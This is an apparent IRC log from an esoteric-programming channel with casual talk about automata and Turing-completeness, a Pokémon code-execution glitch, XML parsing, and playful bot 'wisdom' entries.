Steprans variable is a variable whose notation is variable. 00:21:04 i'm not, 'don't let this stupid school thing swallow your life' is genuinely an excellent idea regardless of what you or i think about the whole thing 00:21:06 At least the wisest thing I've said tonight, includes the fact that Phantom_Hoover is an idiot who can't tell slavery from taxes. 00:21:34 rdococ: you're an insufferable prick right now 00:21:58 int-e is correct 00:21:59 int-e: I'm sorry if I'm causing you any discomfort. School causes me discomfort too, so I can sympathize. 00:22:00 <\oren\> rdococ: he was trolling me when he said that 00:22:02 now what was that thing about stacks 00:22:20 int-e: Ah, yes 00:22:21 <\oren\> he thought I adhered to the ideology of Ayn Rand 00:22:33 * hppavilion[1] pops this topic of conversation off of the #esoteric tangent stack 00:22:49 rdococ, please please follow your own good advice and drop it 00:22:57 hppavilion[1]: Peek? 00:23:28 fizzie: Hi 00:23:31 Phantom_Hoover, I was in the process of doing such a thing. 00:24:06 Of course, the conversation has been popped from the stack; the conversation is no longer stored in memory. So, drop what? 00:24:13 <\oren\> drop it and go to the library and get some of those books I told you about, you'll like them I think 00:24:17 So a minimalist stack language with two stacks would be Turing-complete. The challenge is to find something interesting and minimal between PDA and TC. 00:24:29 Between PDA and TC? 00:24:49 i thought we were originally talking about a notional rust variant with only stack allocation 00:24:52 I'd like someone to figure out how Call Queue works. 00:24:57 PDA = push-down automaton; TC = Turing complete 00:25:03 Yes, I know. 00:25:05 which i thought was quite interesting because it's esoteric in a reasonably practical way 00:25:14 pooch-down automaton?! 00:25:35 can we ban pooches too 00:26:05 Pull-Up automaton 00:26:08 pooch pooch pooch pooch pooch pooch ♪ 00:26:08 int-e: There's that tree stack thing. 00:26:50 I wonder if giving a data tree the ability to hold a countably infinite number of branches and nodes would give it FSA capability, or TC capability. 00:27:12 fizzie: oh I haven't seen that, thanks! 00:27:22 shachaf: It's really an incomplete language, and I think that the page at https://esolangs.org/wiki/Call_Queue should just explain the concept, personally 00:27:28 Rather than a particular incomplete language 00:27:36 the tree alone has no computational class, how are you operating on it 00:28:36 a PDA has an infinite stack but since it can only operate on the top element it's sub-TC; give it the ability to operate on an arbitrary element and its TC 00:29:05 Hm. 00:29:16 How about an FSA that fits the criteria to be a tree? 00:29:20 Phantom_Hoover: google brought me to https://en.wikipedia.org/wiki/Tree_stack_automaton 00:30:38 rdococ, well you can unwind any FSA's state graph into a countably infinite tree 00:31:01 Exactly my point. 00:31:04 Kinda. 00:31:18 I guess that was my point, but I'm never certain. 00:31:46 How about an uncountably infinite tree? 00:31:54 Would that be PDA, or TC? 00:32:16 You may be able to unwind an infinite SA's state graph into an uncountably infinite tree, yes? 00:32:41 That would make it TC. 00:32:51 you could unwind any TM into a countable tree as well i think 00:34:03 except idk if the operation i have in mind is any kind of meaningful 00:34:39 hm. 00:34:40 Wikipedia's template has a lot of proper subsets: https://en.wikipedia.org/wiki/Template:Formal_languages_and_grammars 00:34:45 though right now I'm irritated by the presence of "set_\gamma"... unless that only works on leaves... 00:35:50 There's the nested stack automaton too, that's like the Funge-98 stack stack. 00:36:47 int-e, in general i'd expect these to be TC... 00:37:36 like you should just be able to directly use the tree stack as a tape 00:37:52 The tree stack one is, but the restricted form isn't. 00:37:57 And the nested stack one isn't. 00:39:07 answers the original question i guess 00:39:40 Granted the restriction Wikipedia talks about is a little awkwardly arbitrary. 00:41:16 With multiplication and division by a set amount, could a BF machine with one cell and unbounded value be TC? 00:41:37 ...Not sure. 00:42:24 surely 'no' 00:42:52 because your only way to do anything conditionally is if the cell drops to 0, at which stage all the data in your program is gone 00:42:54 you need some extra conditional, otherwise any test will reset your state completely in one of the branches 00:43:46 yes, it's basically a finite state machine where the state is just which loop you're in 00:45:01 true 00:45:17 oh 00:45:23 nvm 00:47:21 https://esolangs.org/wiki/Collatz_function#Reduction_to_3-cell_brainfuck 00:48:02 two-cell is probably sub-TC but it seems that no one's bothered to prove it? 00:49:50 2-cell brainfuck + constant multiplication/divison is enough that i'd wonder if you could do FRACTRAN in it 00:53:31 -!- FreeFull has joined. 00:54:51 Jafet: oerjan has tried but I believe his proof is still incomplete 00:59:55 Jafet: I once tried to make things work with just two mutable cells and one or two that is always zero (and where trying to modify that cell would be an error) 01:10:19 -!- sleffy has quit (Ping timeout: 260 seconds). 01:10:56 SubStation Alpha is an... unfortunate format 01:11:09 The file extension is .ass 01:12:05 lol 01:17:46 -!- Lord_of_Life has quit (Excess Flood). 01:19:14 -!- Zarutian has quit (Quit: Zarutian). 01:19:56 -!- boily has quit (Quit: CLASHING CHICKEN). 01:21:00 -!- Lord_of_Life has joined. 01:22:44 Oh, no, it's Advanced SubStation Alpha 01:22:48 (the subtitle format) 01:22:50 ha 01:22:52 .assa 01:24:08 -!- Phantom_Hoover has quit (Quit: Leaving). 01:30:16 -!- Lord_of_Life has quit (Excess Flood). 01:32:00 -!- Lord_of_Life has joined. 01:55:51 -!- Zarutian has joined. 01:56:40 -!- Zarutian has quit (Read error: Connection reset by peer). 01:57:24 -!- Zarutian has joined. 02:01:57 -!- Marcela_Gandara has joined. 02:32:27 -!- Marcela_Gandara has quit (Ping timeout: 260 seconds). 02:34:20 -!- Marcela_Gandara has joined. 02:35:24 -!- oerjan has joined. 02:42:38 -!- Marcela_Gandara has quit (Ping timeout: 240 seconds). 02:47:42 -!- xfix has joined. 02:47:42 -!- slacko64_31196 has joined. 02:47:50 -!- Zarutian has quit (Quit: Zarutian). 02:48:13 I think noah built the great pyramid, and it's actually the great ark 02:48:44 I think the ark was made from the cheese of the pizzas noah kept 02:49:08 i think sharp chedder is the best kind of cheese, but only when it's melted 02:49:36 think about this: 02:49:47 if only two of every animal got on board, all of them would have to inbreed 02:51:21 http://viewzone.com/pyramidcavesx.html 02:51:35 think about this: 02:51:39 the telephone game 02:51:52 the details of stories are lost as time moves forwards 02:52:09 so if you hear a story about taking two of each animal literally, well... 02:54:06 true 02:54:26 I'm not religious anyway 03:01:40 there were seven pairs of _some_ animals 03:02:50 ? 03:03:47 the clean ones, aka those jews can eat 03:03:53 ah 03:05:09 the kosher ones 03:07:47 sounds kosher 03:07:56 relcome slacko64_31196 03:07:57 ​slacko64_31196: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 03:08:19 -!- slacko64_31196 has quit (Quit: Leaving). 03:08:26 i suspect our topic is a bit deceptive at the moment. 03:09:09 whoa whoa whoa, what happened to the topic? 03:09:14 -!- oerjan has set topic: Olds: There ar pyramids in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 03:09:19 oops 03:09:26 -!- oerjan has set topic: Olds: There are pyramids in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 03:35:40 <\oren\> https://www.youtube.com/watch?v=jyQWXRJ8Lc4 03:40:53 they say it's a new pyramid, but it seems pretty old 03:44:27 -!- Warrigal has joined. 03:44:36 -!- hppavilion[2] has joined. 03:46:30 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 03:57:56 -!- hppavilion[1] has joined. 03:59:30 -!- hppavilion[2] has quit (Ping timeout: 240 seconds). 04:11:07 -!- hppavilion[2] has joined. 04:11:30 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 05:09:20 -!- sleffy has joined. 05:09:44 -!- hppavilion[1] has joined. 05:11:30 -!- hppavilion[2] has quit (Ping timeout: 260 seconds). 05:22:00 -!- sleffy has quit (Ping timeout: 260 seconds). 05:23:44 -!- erkin has joined. 05:25:53 -!- sleffy has joined. 05:26:45 -!- hppavilion[2] has joined. 05:28:27 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 05:31:30 -!- sleffy has quit (Ping timeout: 256 seconds). 05:33:22 -!- sleffy has joined. 05:44:50 -!- keemyb has joined. 06:05:10 -!- hppavilion[2] has quit (Ping timeout: 260 seconds). 06:11:08 [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51646&oldid=51616 * Oerjan * (+1109) /* Conjecture counterexample */ new section 06:15:31 ? esoteric files archive 06:15:31 cat: esoteric files archive: Is a directory 06:15:37 wat 06:16:14 I ran into evincar today. 06:16:23 oh duh 06:16:42 that's a bug, hm, but how did that happen 06:16:50 oh right 06:17:03 revert 06:17:04 Done. 06:17:06 I'm on my phone, hard to see what command I ran. 06:17:14 Did I mess it up? 06:17:16 you forgot to use two slashes 06:17:29 Oh. But it had http:// 06:17:34 yep 06:17:34 I see now. 06:17:57 You should force le//rn 06:18:02 i noticed it into the log because the response was lower cased 06:18:04 shachaf: i do 06:18:24 *in 06:18:37 No, I used l a/rn 06:18:43 le/rn 06:19:01 well that's not the point where the error happens, anyway 06:19:32 If it failed with the name le/rn I would've remembered to double slash it. 06:21:24  hg log -1 06:21:25 hg log: option -1 not recognized \ hg log [OPTION]... [FILE] \ \ show revision history of entire repository or files \ \ options: \ \ -f --follow follow changeset history, or file history across \ copies and renames \ -d --date DATE show revisions matching date spec \ -C --copies s 06:21:30 hmph 06:22:46 le/rn esoteric files archive//The Esoteric Files Archive is now available at https://github.com/graue/esofiles 06:22:47 Learned 'esoteric files archive': The Esoteric Files Archive is now available at https://github.com/graue/esofiles 06:39:48 -!- augur has joined. 06:41:08 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 06:44:19 -!- erkin has joined. 06:44:38 -!- augur has quit (Ping timeout: 240 seconds). 06:49:11 -!- sleffy has quit (Ping timeout: 240 seconds). 06:56:36 -!- sleffy has joined. 07:07:17 * oerjan fetches the big firehose to flush out all the remains of burnt strawmen from yesterday's channel discussions 07:07:48 I was on my phone for most of that conversation so I didn't read it carefully. 07:08:03 i'm not reading it carefully either. 07:08:17 I mean I barely read any of it. 07:08:22 Maybe I'm better off that way. 07:08:28 almost certainly. 07:14:50 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 07:51:00 -!- sleffy has quit (Ping timeout: 240 seconds). 07:57:50 -!- sleffy has joined. 08:04:36 -!- AnotherTest has joined. 08:12:34 -!- augur has joined. 08:17:35 -!- augur has quit (Ping timeout: 260 seconds). 08:42:37 A mer-pointer is half fish, half pointer. A fishy pointer, if you will. 08:59:27 -!- sleffy has quit (Ping timeout: 240 seconds). 09:01:03 -!- erkin has joined. 09:05:45 -!- hppavilion[1] has joined. 09:10:23 -!- oerjan has quit (Quit: Nite). 09:16:56 Which half is the fish? 09:17:05 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 09:28:20 I think it's the pointy half. 09:37:42 That's so odd. java.sql.SQLException implements Iterable. 09:38:16 It iterates over the cause chain, which makes some amount of sense, but it's specifically SQLException and its derivatives. 09:38:43 Looks odd in the "All Known Implementing Classes" list of https://docs.oracle.com/javase/8/docs/api/java/lang/Iterable.html 09:51:59 <\oren\> for future reference: any plan that involves flying at 25 km altitude at 5 km/s is a good plan 11:00:32 . o O ( "This [...] is just Coyoneda" is not really helping me! ) 11:01:30 -!- atehwa has quit (Quit: Lost terminal). 11:04:21 \oren\: let me guess, the vessel was called Tunguska? 11:10:44 Hmm I don't know... 25km altitude may actually be high enough to not immediately flatten everything on ground. 11:43:38 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 12:39:26 -!- S1 has joined. 12:43:39 -!- Lord_of_Life has quit (Excess Flood). 12:44:01 -!- Lord_of_Life has joined. 13:18:11 -!- Lord_of_Life has quit (Excess Flood). 13:21:01 -!- Lord_of_Life has joined. 13:23:15 sounds flighty 14:04:43 -!- idris-bot has joined. 14:07:37 yay 14:31:24 -!- S1 has quit (Quit: Leaving). 14:39:56 -!- Phantom_Hoover has joined. 14:41:06 -!- boily has joined. 14:44:34 wisdom 14:44:35 disflagrate//disflagrate v.t.perf.: a traditional technique from Poland (earliest attestation c. 1042) used to separate szoups. Nowadays, commercial production is entirely mechanized. 14:45:13 cwlprits disflagrate 14:45:22 oerjän boil̈y 14:55:11 ? szoup 14:55:12 A szoup a szilárd tápszereknek híg alakban való elkészítése a célból, hogy könnyebben emészthetők legyenek; a hígító anyag a viz, mely feloldja s magába veszi a tápanyag legértékesebb részeit. 14:56:43 -!- Zarutian has joined. 14:57:40 ? unnerver 14:57:41 unnerver? ¯\(°​_o)/¯ 15:28:39 wisdom 15:28:41 nothing//Nothing would have been better than to create this wisdom entry. 15:29:53 -!- Lord_of_Life has quit (Excess Flood). 15:30:31 -!- Lord_of_Life has joined. 15:36:13 oerjan has a firehose? ╺ը╾═══💦⢑ 15:37:16 perhaps it delivers disflagrating szoup 15:42:38 oerjan has a firehose? 15:42:56 -!- Lord_of_Life has quit (Excess Flood). 15:45:01 -!- Lord_of_Life has joined. 15:47:53 -!- Lord_of_Life has quit (Excess Flood). 15:56:13 -!- Zarutian has quit (Ping timeout: 264 seconds). 16:00:16 -!- Zarutian has joined. 16:14:51 oejan is a firehose? 16:15:33 oerjan* 16:15:43 in an alternate universe, his name is Øryan 16:16:05 in another alternate universe, his name is Ørjen 16:20:19 Those don't sound like very interesting alternate universes 16:20:31 true 16:21:12 in some other universe, I'm actually useful for something instead of the worthless pile of IRChit I am 16:21:39 I wasn't ever meant to be here. 16:39:10 how about a gate that maps {A, B} to {A xor B, A and B}? 16:39:48 FF -> FF, FT -> TF, TF -> TF, TT -> FT...? 16:40:03 nah 16:40:04 nvm 16:40:08 Actually 16:40:10 wait 16:55:00 time to phở! 16:55:04 -!- boily has quit (Quit: SHAVING CHICKEN). 16:57:45 whatever that means 17:14:28 Does Pokemon R/B/Y count as a programming language? 17:14:44 If we interpret it as one, is it TC? 17:20:22 // 17:23:24 asepotamia 17:40:28 -!- zsoc has left ("Leaving"). 17:47:56 -!- sleffy has joined. 17:54:49 helloily! 17:55:04 what do of a sat? 17:55:13 rdhellococ! 17:56:10 quintopia: Is Pokemon R/B/Y with ACE TC? 17:56:58 i doubt it! 17:57:33 but i don't know what ace does or how it works 17:57:53 -!- S1 has joined. 17:58:22 Arbitrary Code Execution. 17:58:33 It's a glitch which allows you to execute arbitrary code in PKMN R/B/Y. 17:59:57 People have created games like both singleplayer and multiplayer Pong and singleplayer Snake in it, as well as two viruses (the first of which corrupts your game - the only thing you can do then is trade and spread the virus to others, and the second of which brings the Mew truck rumour to life). 18:01:08 rdococ, given that the Game Boy doesn't have unbounded memory, I'd think it isn't 18:01:15 oh i thought you were referring to https://crystalnoel42.wordpress.com/pokemon-for-ace-kit/ 18:01:22 True. 18:01:24 the thing you're describing i know as "total control glitch" 18:01:52 But still; is it possible to execute every possible valid combination of instructions, or not? 18:02:20 Even if not, some combinations may be equivalent and the system may be as TC as possible anyway as a result. 18:03:10 Taneb: my issue with it is that you're saying "Pokemon is TC" when what you mean is "8080/Z80 is TC". The latter is obviously true given access to arbitrary memory, while the former seems unlikely to be true 18:04:59 the total control glitch entails writing Z80 instructions into game memory and using a buffer overflow to jump to them. it is not simulating anything on top of the game itself. 18:19:00 Yay. 18:19:55 -!- sleffy has quit (Ping timeout: 256 seconds). 18:22:38 -!- sleffy has joined. 18:24:08 -!- DHeadshot has joined. 18:38:47 -!- erkin has joined. 18:47:30 -!- Warrigal has quit (Ping timeout: 240 seconds). 18:52:17 <\oren\> I should go watch the Ghost in the Shell movie with Scarlett Johannsen 19:01:42 <\oren\> also people should stop English-washing Romeo and Juliet. Only Italians are allowed to play them! 19:27:27 I suppose Italians would be preferable, although sometimes they might not have that possibility 19:28:02 But if they have good Italian actors to play them then they should, in preference to the English. 19:34:48 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 19:43:10 \oren\: The (Japanese) guy they have playing Aramaki speaks Japanese, and everyone else replies to him in English. It's a little odd. 19:44:17 -!- S1 has quit (Quit: Leaving). 19:48:50 -!- sleffy has quit (Ping timeout: 268 seconds). 19:51:09 -!- sleffy has joined. 19:52:25 -!- Warrigal has joined. 19:59:08 -!- Zarutian has quit (Remote host closed the connection). 19:59:32 -!- Zarutian has joined. 20:18:18 does anyone where to find the howto on using contract-of-adhesion against power trip junkies? 20:18:59 <\oren\> fizzie: they're cyborgs, they've got google translate in their heads! 20:19:48 -!- longerstaff13 has changed nick to Vault. 20:20:10 -!- Vault has changed nick to longerstaff13. 20:25:46 -!- Warrigal has quit (Ping timeout: 246 seconds). 20:34:28 -!- DHeadshot has quit (Ping timeout: 268 seconds). 20:38:27 [wiki] [[User:Serprex]] M https://esolangs.org/w/index.php?diff=51647&oldid=51418 * Serprex * (+52) Mention gas 20:38:56 [wiki] [[User:Serprex]] M https://esolangs.org/w/index.php?diff=51648&oldid=51647 * Serprex * (+2) Let's use italics, it'll be fun 20:50:15 -!- yorick has quit (Remote host closed the connection). 21:17:29 -!- boily has joined. 21:17:33 wisdom 21:17:35 corkscrew//A corkscrew is a downwards spiral of doom. See mapole. 21:46:05 -!- hppavilion[1] has joined. 21:51:11 -!- hppavilion[2] has joined. 21:53:26 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 22:10:14 -!- DHeadshot has joined. 22:11:20 Is content about abstract mathematics which is relevant to Esolangery appropriate for the Esowiki? 22:14:49 Maybe. Describe here on this IRC too I suppose. 22:15:30 -!- hppavilion[2] has quit (Ping timeout: 240 seconds). 22:20:45 -!- hppavilion[1] has joined. 22:30:09 -!- hppavilion[2] has joined. 22:31:56 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 22:51:21 hi 23:00:03 It's taken me 10 days but I now have a working XML parser (for a certain type of XML) written in C! 23:00:35 After 6 days of bugfixing, I'm now grinning ear to ear... 23:02:49 DHellodshot! 23:02:53 rdochelloc! 23:03:04 helloily! 23:03:57 -!- hppavilion[1] has joined. 23:04:12 parsing XML from scratch is a bitch. 23:04:22 Yes. It is 23:04:40 My code is far from perfect, but it works. 23:04:56 It does use GOTOs though... 23:05:02 and converting stuff between jdom and jdom2 in Java because some legacy stuff makes me angry. 23:05:06 I don't know much about XML in the nitty-gritty 23:05:19 What's the hard things about parsing XML? 23:05:20 DHeadshot: SACRILÈGE! how dare you! 23:05:24 -!- hppavilion[2] has quit (Ping timeout: 260 seconds). 23:05:52 boily: I had to to break out on certain errors! 23:06:26 oh. that. that's ok. 23:07:07 Saves a lot of repeated code for freeing mallocs... 23:12:23 -!- DHeadshot has quit (Ping timeout: 260 seconds). 23:13:23 Taneb: namespaces, etc. 23:13:26 Tanelle. it's a lot of grunt work for getting it Just Right™. 23:13:34 bonjouroily 23:13:35 Hm 23:13:38 hellorcah! 23:13:45 I'm considering abandoning WinAmp in favour of PotPlayer 23:13:47 hppavellon[½]. 23:13:50 I wonder if this is a good plan 23:14:00 VLC. 23:14:30 boily: itym hppavellon[√½] hth 23:14:49 boily: I've seen VLC because my mother's FWOB watches pirated TV shows with us on VLC 23:14:58 s/FWOB/FWoB/ 23:15:07 alercah, boily I see 23:15:24 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:15:31 [They're mostly shows we have legal access to that we want to watch without eating up data] 23:15:52 Taneb: also cdata and entities and... 23:15:57 XML is frigteningly complex 23:16:28 hppavellon[√½ ≈ 0.7071067811865476] 23:17:05 alercah: BURN IT WITH XORRISO FIRE 23:17:37 * hppavilion[1] considers XML to be his archnemesis 23:18:08 * hppavilion[1] like sexps though. sexps are cool. 23:18:12 hmm 23:18:30 {"hppavilion[1]": ["what", "do", "you", {"think of": "JSON"}]} 23:18:43 Taneb: JSON is OK, but you're using it terribly. 23:18:57 And I've heard good things about YAML 23:19:42 -!- Warrigal has joined. 23:20:51 hppavilion[/¼] 23:21:21 -!- Warrigal has quit (Client Quit). 23:22:21 rdococ: hppavilion[4]? 23:22:46 hppavilion[1:4] 23:27:00 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 23:27:28 nah, that was my rendering of square root 23:27:59 x:y = x / (x + y) 23:28:06 Imagine an alien which used x:y rather than x/y 23:28:25 -!- Zarutian has quit (Quit: Zarutian). 23:30:43 ? this 23:30:44 this is a word 23:31:03 ? sweet dreams 23:31:04 sweet dreams? ¯\(°​_o)/¯ 23:31:20 ? luftballon 23:31:21 luftballon? ¯\(°​_o)/¯ 23:33:20 there are indeed good things to be said about YAML 23:34:40 ? YAML 23:34:41 YAML? ¯\(°​_o)/¯ 23:41:44 learn A Luftballon is an experimental weapon first developed by the German military in 1983 designed to scramble fighter jets, causing chaos and starting wars between their enemies. 23:41:46 Learned 'luftballon': A Luftballon is an experimental weapon first developed by the German military in 1983 designed to scramble fighter jets, causing chaos and starting wars between their enemies. 23:57:42 -!- hppavilion[2] has joined. 23:58:43 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 2017-04-09: 00:20:23 -!- oerjan has joined. 00:39:28 oerjan has a firehose? <-- helloily. no, this is the channel's firehose. got to have proper fire precautions, after all. 00:44:13 -!- Sgeo has quit (Ping timeout: 268 seconds). 00:46:15 hellørjan! 00:46:20 * boily likes fire 00:46:39 O KAY 00:47:09 ? things boily like 00:47:10 things boily like? ¯\(°​_o)/¯ 00:47:18  ls wisdom/thing* 00:47:19 wisdom/things boily likes 00:47:23 ? things boily likes 00:47:24 Fire is good. I like fire. Also chicken. And phở. Moreover, cubes. 00:48:08 slwd things boily likes//s,M,And kimchi. M, 00:48:10 things boily likes//Fire is good. I like fire. Also chicken. And phở. And kimchi. Moreover, cubes. 00:48:15 istr. 00:49:42 oh, and poutine. 00:49:59 we may have to split into foods and other things. 00:50:01 * rdococ burns boily 00:51:21 slwd things boily likes//s,M,Or poutine. M, 00:51:23 things boily likes//Fire is good. I like fire. Also chicken. And phở. And kimchi. Or poutine. Moreover, cubes. 00:52:23 . o O ( is there any food boily _doesn't_ like? ) 00:56:06 I don't like the green part in lobsters, and I can't eat mussels. 00:56:17 aha 00:57:54 learn Mussels are boily's natural enemies. Fortunately he runs faster than them. 00:57:56 Learned 'mussel': Mussels are boily's natural enemies. Fortunately he runs faster than them. 01:10:40 -!- sleffy has quit (Ping timeout: 246 seconds). 01:14:00 -!- heartofdarkness has joined. 01:15:21 -!- heartofdarkness has changed nick to kiki. 01:19:40 I wrote a program to read GEM .ICN files. I almost got it to work now. 01:26:05 hezzo38. GEM? 01:27:04 https://en.wikipedia.org/wiki/Graphics_Environment_Manager presumably 01:27:20 -!- ais523 has joined. 01:27:50 ahis523 01:28:18 Yes, that is what it is 01:28:55 hi 01:29:23 his523. 01:39:45 * hppavilion[2] . o O ( ♫ You might think I'm crazy ♫ ) 01:57:53 <\oren\> The ghost in the shell movie was good! 02:05:32 he\\oren\. is it faithful to the original? 02:07:45 -!- MoALTz has quit (Quit: Leaving). 02:16:50 -!- boily has quit (Quit: TRAFFIC CHICKEN). 02:19:07 ghost chicken in the eggshell 02:20:13 on the other hand, the recent animations could be said to be… too faithful to the original 02:20:36 -!- Phantom_Hoover has joined. 02:22:09 -!- Phantom_Hoover has quit (Remote host closed the connection). 02:23:51 -!- sleffy has joined. 02:24:26 -!- Phantom_Hoover has joined. 02:24:26 -!- Phantom_Hoover has quit (Changing host). 02:24:26 -!- Phantom_Hoover has joined. 02:37:13 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 02:42:08 -!- Sgeo has joined. 02:48:13 -!- hppavilion[2] has quit (Ping timeout: 240 seconds). 02:52:02 erroratic 02:53:23 -!- Zarutian has joined. 02:53:50 -!- Zarutian has quit (Read error: Connection reset by peer). 02:54:32 -!- Zarutian has joined. 03:02:09 Is it possible to achieve pieces of broken glass in Nethack if you shatter an object? 03:05:51 the devteam responsibly uses safety glass, which leaves no shards 03:06:16 ais523: ^ 03:06:29 O, OK 03:06:33 I suppose shattering objects could create worthless glass, but nethack doesn't do that currently 03:06:54 there's actually all sorts of potential balance issues with debris from used objects 03:06:58 (shattering statues does create small rocks) 03:07:18 nothing insurmountable, but thinking of everything can take a while 03:10:53 I also can't think of any game that creates glass fragments from shattered glass 03:12:46 If they do create fragments then maybe the fragments might injure you too 03:12:58 aseoprt 03:20:03 -!- sleffy has quit (Ping timeout: 252 seconds). 04:22:24 -!- ais523 has quit. 04:25:13 -!- Zarutian has quit (Quit: Zarutian). 04:34:59 -!- FreeFull has quit (Ping timeout: 260 seconds). 05:13:02 -!- sleffy has joined. 05:27:56 -!- sleffy has quit (Ping timeout: 255 seconds). 05:29:42 -!- sleffy has joined. 06:24:30 -!- sleffy has quit (Ping timeout: 252 seconds). 06:26:07 -!- sleffy has joined. 06:30:56 -!- sleffy has quit (Ping timeout: 255 seconds). 06:32:43 -!- Sgeo has quit (Ping timeout: 240 seconds). 06:35:00 -!- sleffy has joined. 06:36:25 [wiki] [[BackFlip]] https://esolangs.org/w/index.php?diff=51649&oldid=20138 * Oerjan * (+7) /* External resources */ Fix link 06:36:43 -!- FreeFull has joined. 07:20:31 -!- erkin has joined. 07:34:22 -!- hppavilion[2] has joined. 07:40:52 -!- hppavilion[1] has joined. 07:42:02 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 07:54:07 -!- hppavilion[2] has joined. 07:55:32 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 08:13:37 -!- sleffy has quit (Ping timeout: 255 seconds). 08:20:47 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 08:21:09 -!- erkin has joined. 08:26:27 -!- hppavilion[1] has joined. 08:27:56 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 08:30:58 -!- Sgeo has joined. 08:35:15 -!- MoALTz has joined. 08:43:22 -!- hppavilion[2] has joined. 08:45:02 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 08:47:30 -!- AnotherTest has joined. 08:55:32 -!- oerjan has quit (Quit: Nite). 09:09:07 -!- hppavilion[1] has joined. 09:10:14 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 09:10:30 -!- augur has joined. 09:39:47 -!- augur_ has joined. 09:40:53 -!- augur_ has quit (Remote host closed the connection). 09:41:41 -!- augur has quit (Ping timeout: 252 seconds). 09:45:46 -!- kiki has quit (Quit: Connection closed for inactivity). 10:16:11 -!- hppavilion[2] has joined. 10:19:32 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 11:20:05 @metar EGLL 11:20:06 EGLL 090950Z AUTO 15005KT 110V200 9000 NCD 19/09 Q1021 11:31:31 -!- Lord_of_Life has joined. 12:10:08 ? password 12:10:12 The password of the month is OSBDemoLap9W53! 12:10:38 . o O ( should we change that to CrDj"(;Va.*NdlnzB9M?@K2)#>deB7mN ) 12:11:39 ? help 12:11:40 Help is on the way. We don't know where the way is, though. You might try help instead. 12:11:45 help 12:11:45 Runs arbitrary code in GNU/Linux. Type "", or "run " for full shell commands. "fetch [] " downloads files. Files saved to PWD are persistent, and PWD/bin is in PATH. PWD is a mercurial repository, "revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 12:14:44 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 12:23:07 -!- AnotherTest has quit (Ping timeout: 252 seconds). 12:35:57 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 12:54:23 -!- steingl4s has joined. 12:55:22 hi everyone 12:58:41 -!- steingl4s has changed nick to Seaser. 13:02:39 -!- steingl4s has joined. 13:04:22 -!- steingl4s has quit (Client Quit). 13:04:48 -!- Sable has joined. 13:04:55 test 13:05:32 -!- Seaser has quit (Disconnected by services). 13:05:49 -!- Seaser has joined. 13:05:55 -!- Seaser has quit (Disconnected by services). 13:05:57 -!- Sable has changed nick to seaser. 13:06:11 -!- Sable has joined. 13:15:28 -!- testeedkf has joined. 13:15:56 -!- Sable has quit (Ping timeout: 255 seconds). 13:15:56 -!- seaser has quit (Ping timeout: 255 seconds). 13:16:46 -!- testeedkf has changed nick to seaser. 13:17:00 -!- Sable has joined. 13:19:05 -!- Lord_of_Life has quit (Excess Flood). 13:20:41 -!- boily has joined. 13:21:20 -!- seaser has quit (Quit: Leaving). 13:21:20 -!- Sable has quit (Client Quit). 13:23:01 -!- Lord_of_Life has joined. 13:25:03 -!- DHeadshot has joined. 13:27:25 -!- Seaser has joined. 13:28:29 -!- Seaser has quit (Client Quit). 13:28:40 -!- Seaser has joined. 13:29:12 test 13:30:04 test. 13:30:08 test? 13:30:11 -!- Seaser has quit (Client Quit). 13:30:31 -!- Seaser has joined. 13:30:34 Passed. 13:31:44 -!- Seaser has quit (Client Quit). 13:32:12 -!- Seaser has joined. 13:33:08 knlk 13:33:32 -!- Seaser has changed nick to seaseer. 13:33:42 test 13:33:48 -!- seaseer has changed nick to seaser. 13:33:52 test 13:33:54 hm 13:34:06 -!- seaser has quit (Client Quit). 13:34:09 😎 13:34:21 -!- Zarutian has joined. 13:34:54 -!- Seaser has joined. 13:35:19 ꙣ 13:35:20 -!- Seaser has quit (Client Quit). 13:35:28 ꙮ 13:35:44 -!- Seaser has joined. 13:36:55 -!- sease has joined. 13:37:08 -!- sease has quit (Client Quit). 13:37:15 -!- sease has joined. 13:38:51 test 13:38:57 -!- Seaser has quit (Disconnected by services). 13:39:33 -!- Seaser has joined. 13:39:33 -!- Seaser has quit (Client Quit). 13:39:40 Tsch 13:39:47 -!- sease has quit (Client Quit). 13:40:04 -!- Seaser has joined. 13:40:17 -!- Seaser has quit (Client Quit). 13:40:29 -!- Seaser has joined. 13:40:42 Disconnected by services??? 13:40:59 Evidently 13:47:03 *shrug* 13:47:39 Probably some Service has a Command that will induce that Operation. 13:47:45 * APic does not like Servies. 13:47:52 Good old IRCnet > * 😉 13:48:14 a test probably failed 13:48:32 *sigh* 13:49:02 nickserv 'ghost', yeah 13:51:12 Esoteria 13:51:29 test 13:51:43 Passed. 13:52:27 Yay! 13:52:31 test 13:53:05 Ping 13:56:55 -!- atslash has 